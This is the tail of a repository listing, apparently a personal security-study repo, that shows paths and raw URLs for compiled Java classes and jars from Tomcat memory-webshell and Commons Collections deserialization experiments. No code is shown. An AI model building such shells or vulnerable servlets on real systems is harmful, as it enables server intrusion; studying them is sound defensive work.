4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_65 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Gadget/CC3_2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Gadget/CC3_2.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_Response.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_Response.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tools/Base64_Class.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Tools/Base64_Class.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Unserial_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/classes/Unserial_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/commons-collections-3.2.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/commons-collections-3.2.1.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-annotations-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-catalina-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-catalina-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-coyote-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-coyote-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-el-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-el-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jaspic-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jni-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jni-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-jsp-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-juli-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-juli-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-servlet-api-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-scan-9.0.55.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/lib/tomcat-util-scan-9.0.55.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/WEB-INF/web.xml: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | Archetype Created Web Application 7 | 8 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/Tomcat_Serialize/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/classes/Gadget/CC3_2.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Gadget/CC3_2.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_Filter.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tomcat_Echo_memShell/Tomcat_Echo_inject_ThreadLocal.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/classes/Tools/Base64_Class.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Tools/Base64_Class.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Serialize/target/classes/Unserial_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Serialize/target/classes/Unserial_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/src/main/webapp/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet.war: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet.war -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Created-By: IntelliJ IDEA 3 | Built-By: 34946 4 | Build-Jdk: version 1.8.0_65 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Config_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Config_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Context_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Context_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/MyServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/MyServlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Shell_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/classes/Servlet/Shell_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/lib/javax.servlet-api-4.0.1.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/WEB-INF/lib/javax.servlet-api-4.0.1.jar -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/Tomcat_Servlet/index.jsp: -------------------------------------------------------------------------------- 1 | 2 | 3 |

Hello World!

4 | 5 | 6 | -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/classes/Servlet/Config_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Config_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/classes/Servlet/Context_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Context_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/classes/Servlet/MyServlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/MyServlet.class -------------------------------------------------------------------------------- /Java_memShell/Tomcat_Servlet/target/classes/Servlet/Shell_Servlet.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/Tomcat_Servlet/target/classes/Servlet/Shell_Servlet.class -------------------------------------------------------------------------------- /Java_memShell/out/artifacts/Java_Agent_jar/Java_Agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Agent_jar/Java_Agent.jar -------------------------------------------------------------------------------- /Java_memShell/out/artifacts/Java_Hello_jar/Java_Agent.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Hello_jar/Java_Agent.jar -------------------------------------------------------------------------------- /Java_memShell/out/artifacts/Java_Hello_jar/Java_Hello.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/out/artifacts/Java_Hello_jar/Java_Hello.jar -------------------------------------------------------------------------------- /Java_memShell/ser.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Claradoll/Security_Learning/51c6e8c075891d0c2c09289d70fb0ef3ebfadef1/Java_memShell/ser.bin -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Security_Learning 2 | 3 | 学习安全时备份的一些代码 4 | --------------------------------------------------------------------------------